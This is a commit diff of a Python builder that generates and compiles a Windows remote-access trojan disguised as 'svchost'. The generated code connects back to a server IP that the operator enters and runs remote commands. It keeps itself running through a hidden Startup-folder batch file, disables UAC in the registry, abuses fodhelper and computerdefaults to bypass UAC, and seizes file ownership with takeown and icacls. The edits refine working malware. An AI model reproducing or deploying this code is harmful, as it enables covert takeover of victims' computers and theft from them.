1- from subprocess import getoutput
2- from os import system ,environ
1+ from os import system
32from sys import exit
43def nuitka ()-> None :
54 ip_address = str (input ("Server IP:" ))
65 with open ("svchost.py" ,"w" ) as file :
76 file .write (buf % ip_address )
8- environ ["CCFLAGS" ]= "-Ofast"
97 system ("nuitka .\\ svchost.py --mode=accelerated --mode=onefile --remove-output --windows-console-mode=disable --include-data-files=.\\ run.exe=.\\ run.exe" )
108 exit (0 )
119buf = r'''from platform import node,release,machine,processor
1210from ctypes import windll
1311from pickle import dumps
1412from subprocess import getoutput,call
15- from sys import exit,argv
13+ from sys import exit,orig_argv
1614from os import chdir,environ,system as run
1715from os.path import basename
1816from socket import socket,AF_INET,SOCK_STREAM,gaierror
1917from shutil import copyfile
2018from winreg import OpenKeyEx,HKEY_LOCAL_MACHINE,KEY_WRITE,SetValueEx,REG_DWORD,CloseKey
2119from psutil import process_iter,AccessDenied
22- def process_is_double(target:str=argv[0])->bool:
23- exists=False
20+ environ["exe"]=" ".join([i for i in orig_argv])
21+ def process_is_double(target:str=None)->int:
22+ if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
23+ else :target=" ".join([i for i in orig_argv])
24+ target=target.split(" ")[0]
2425 process = 0
25- if argv[0] == target:
26+ if " ".join([i for i in orig_argv]) == target:
2627 for i in process_iter():
2728 try:
2829 if i.exe() == target:
2930 process +=1
3031 except AccessDenied:pass
31- return ( process >1)
32+ return process
3233 for i in process_iter():
3334 try:
34- if i.name() == basename(target):exists=True
3535 if i.exe() == target:process +=1
3636 except AccessDenied:pass
37- return exists and process >1
37+ return process
3838def process_is_exists(target:str)->bool:return target in (i.name() for i in process_iter())
3939def split(target:str,tstr:str)->str:
4040 new_chars=[]
@@ -52,12 +52,12 @@ def connect()->None:
5252 except ConnectionRefusedError:connect()
5353 except gaierror:connect()
5454def CYS()->None:
55- copyfile(argv[0] ,(r"C:\Users\{}\Documents\\"+basename(argv[0] )).format(environ.get("username")))
55+ copyfile(" ".join([i for i in orig_argv]) ,(r"C:\Users\{}\Documents\\"+basename(" ".join([i for i in orig_argv]) )).format(environ.get("username")))
5656 with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "w") as file:
5757 file.write("""@Echo off
5858start C:\\Users\\{0}\\Documents\\{1}
59- exit""".format(environ.get("username"), basename(argv[0] )))
60- run("attrib +s +h +r C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(argv[0] ))
59+ exit""".format(environ.get("username"), basename(" ".join([i for i in orig_argv]) )))
60+ run("attrib +s +h +r C:\\Users\\"+environ.get("username")+"\\Documents\\"+basename(" ".join([i for i in orig_argv]) ))
6161 run("attrib +s +h +r \"C:\\Users\\{}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\start.bat\"".format(environ.get("username")))
6262def LUA_OFF()->None:
6363 key = OpenKeyEx(HKEY_LOCAL_MACHINE,r"SOFTWARE\Microsoft\Windows\CurrentVersion\\Policies\\System", 0, KEY_WRITE)
@@ -66,23 +66,28 @@ def LUA_OFF()->None:
6666 CYS()
6767 call("shutdown /r /f /t 0")
6868 exit(0)
69- def computerdefaults(target:str=argv[0])->None:
70- target = target + ".exe" if target.split(".")[-1] != "exe" else target
71- ms_reg = "computerdefaults.exe"
72- if argv[0] == target:
73- while not process_is_double():call(f"run {target} {ms_reg} computerdefaults.exe")
69+ def computerdefaults(target:str=None)->None:
70+ if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
71+ else :target=" ".join([i for i in orig_argv])
72+ if " ".join([i for i in orig_argv]) == target:
73+ x=process_is_double()
74+ while not x<process_is_double():
75+ print(x,process_is_double())
76+ call("run computerdefaults.exe {}".format(target))
77+ if x<process_is_double():return
7478 return None
75- while not process_is_exists(basename(target)):call(f"run {target} {ms_reg} computerdefaults.exe")
76- def fodhelper(target:str=argv[0])->None:
79+ while not process_is_exists(basename(target)):call("run computerdefaults.exe {}".format(target))
80+ def fodhelper(target:str=None)->None:
81+ if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
82+ else :target=" ".join([i for i in orig_argv])
7783 target= target+".exe" if target.split(".")[-1] !="exe" else target
78- ms_reg = "fodhelper.exe"
79- if argv[0] == target:
80- while not process_is_double():
81- call(f"run {target} {ms_reg} fodhelper.exe")
82- return None
83- while not process_is_exists(basename(target)):
84- call(f"run {target} {ms_reg} fodhelper.exe")
85- process_is_exists(basename(target))
84+ if " ".join([i for i in orig_argv]) == target:
85+ x=process_is_double()
86+ while not x<process_is_double():
87+ print(x,process_is_double())
88+ call("run fodhelper.exe {}".format(target))
89+ if x<process_is_double():return
90+ while not process_is_exists(basename(target)):call("run fodhelper.exe {}".format(target))
8691def FDR(target:str)->None:
8792 run("takeown /D Y /R /F {}".format(target))
8893 run("icacls {} /T /C /grant {}:(F,MA)".format(target,environ.get("username")))
@@ -130,7 +135,7 @@ def FDR(target:str)->None:
130135 s.send("success".encode())
131136 continue
132137 if "executable" in lcmd:
133- s.send(argv[0] .encode())
138+ s.send(" ".join([i for i in orig_argv]) .encode())
134139 continue
135140 if "cmd /c start" in lcmd:
136141 call(cmd)
@@ -141,6 +146,5 @@ def FDR(target:str)->None:
141146 except ConnectionResetError:connect()
142147 except OSError:connect()'''
143148print ("Checking For Nuitka" )
144- nuitka_v = getoutput ("nuitka --version" ).split ()[0 ]
145- if len (nuitka_v )< 7 :nuitka ()
146- else :print ("You Don't Have Installed Nuitka!!\n You Can Install It Using pip install Nuitka" )
149+ from nuitka import __doc__
150+ nuitka ()
0 commit comments